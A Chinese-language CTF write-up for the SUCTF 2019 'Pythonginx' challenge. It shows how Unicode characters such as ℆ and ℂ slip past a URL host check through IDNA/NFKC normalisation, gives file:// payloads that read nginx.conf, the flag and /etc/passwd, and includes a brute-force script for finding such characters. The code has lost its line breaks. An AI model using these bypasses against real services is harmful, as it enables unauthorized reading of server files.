[SUCTF 2019]Pythonginx

给了源码

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():url = request.args.get("url")host = parse.urlparse(url).hostnameif host == 'suctf.cc':return "我扌 your problem? 111"parts = list(urlsplit(url))host = parts[1]if host == 'suctf.cc':return "我扌 your problem? 222 " + hostnewhost = []for h in host.split('.'):newhost.append(h.encode('idna').decode('utf-8'))parts[1] = '.'.join(newhost)#去掉 url 中的空格finalUrl = urlunsplit(parts).split(' ')[0]host = parse.urlparse(finalUrl).hostnameif host == 'suctf.cc':return urllib.request.urlopen(finalUrl).read()else:return "我扌 your problem? 333"

方法一:

前面两次需要绕过 host == 'suctf.cc'
到第三次会有一个 h.encode('idna').decode('utf-8')
会将 host 转换为国际化域名（IDN）的ASCII兼容编码（Punycode）
看这篇文章https://xz.aliyun.com/t/6070?time__1311=n4%2BxnD0DgDcmG%3DrDsYoxCqiKKD5e%2BhgSR00bD
​
在unicode中有一种字符℀(U+2100)，当IDNA处理此字符时，会将℀变成a/c，因此当你访问此url时，dns服务器会自动将url重定向到另一个网站

所以可以通过℆来绕过检测, 读取配置文件
?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf

最后读取file://suctf.c℆sr/fffffflag获得flag

方法二:

https://www.xmsec.cc/suctf19-wp/
通过一些其他的unicode符号经过punycode 转为 c 的字符

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():for x in range(65536):uni=chr(x)url="http://suctf.c{}".format(uni)try:if getUrl(url):print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])except:passdef getUrl(url):url = urlhost = parse.urlparse(url).hostnameif host == 'suctf.cc':return Falseparts = list(urlsplit(url))host = parts[1]if host == 'suctf.cc':return Falsenewhost = []for h in host.split('.'):newhost.append(h.encode('idna').decode('utf-8'))parts[1] = '.'.join(newhost)finalUrl = urlunsplit(parts).split(' ')[0]host = parse.urlparse(finalUrl).hostnameif host == 'suctf.cc':return Trueelse:return Falseif __name__=="__main__":get_unicode()

?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf

方法三

利用了urlsplit不处理NFKC标准化
file:suctf.cc/etc/passwd